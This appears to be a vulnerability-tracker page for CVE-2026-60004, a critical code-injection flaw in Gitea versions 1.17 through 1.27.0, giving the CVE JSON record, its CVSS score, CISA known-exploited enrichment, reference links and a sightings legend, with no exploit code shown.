Decision recorded 2026-08-26 20:21 UTC

CWE

CWE-94 - Improper Control of Generation of Code ('Code Injection')

Assigner

mitre mitre root

References

5 references

URL	Tags
https://blog.gitea.com/release-of-1.27.1/
https://github.com/go-gitea/gitea/security/adviso…
https://www.runzero.com/blog/gitea/
https://github.com/0xBlackash/CVE-2026-60004
https://www.cisa.gov/known-exploited-vulnerabilit…	government-resource

Impacted products

1 product

Vendor	Product	Version
Gitea	Gitea	Affected: 1.17 , < 1.27.1 (custom) cpe:2.3:a:gitea:gitea::::::::

Show details on NVD website

JSON

To clipboard

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  "containers": {
    "adp": [
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        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-60004",
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                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "total"
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                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-26T20:21:46.783249Z",
                "version": "2.0.3"
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              "type": "ssvc"
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          {
            "other": {
              "content": {
                "dateAdded": "2026-08-25",
                "reference": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-60004"
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        "providerMetadata": {
          "dateUpdated": "2026-09-08T18:03:21.873Z",
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            ],
            "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-60004"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Gitea",
          "vendor": "Gitea",
          "versions": [
            {
              "lessThan": "1.27.1",
              "status": "affected",
              "version": "1.17",
              "versionType": "custom"
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      ],
      "cpeApplicability": [
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          "nodes": [
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              "cpeMatch": [
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          "lang": "en",
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      "metrics": [
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          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
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            "baseScore": 9.8,
            "baseSeverity": "CRITICAL",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
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      "problemTypes": [
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              "cweId": "CWE-94",
              "description": "CWE-94 Improper Control of Generation of Code (\u0027Code Injection\u0027)",
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        "dateUpdated": "2026-08-26T22:56:00.000Z",
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          "url": "https://blog.gitea.com/release-of-1.27.1/"
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    "datePublished": "2026-08-26T19:45:00.000Z",
    "dateReserved": "2026-07-08T09:19:08.764Z",
    "dateUpdated": "2026-09-08T18:03:21.873Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.

Action not permitted

GHSA-RCR6-4JQH-J84M

Summary

Details

PoC

Impact

CVE-2026-60004 (GCVE-0-2026-60004)

Tags

Sightings

Nomenclature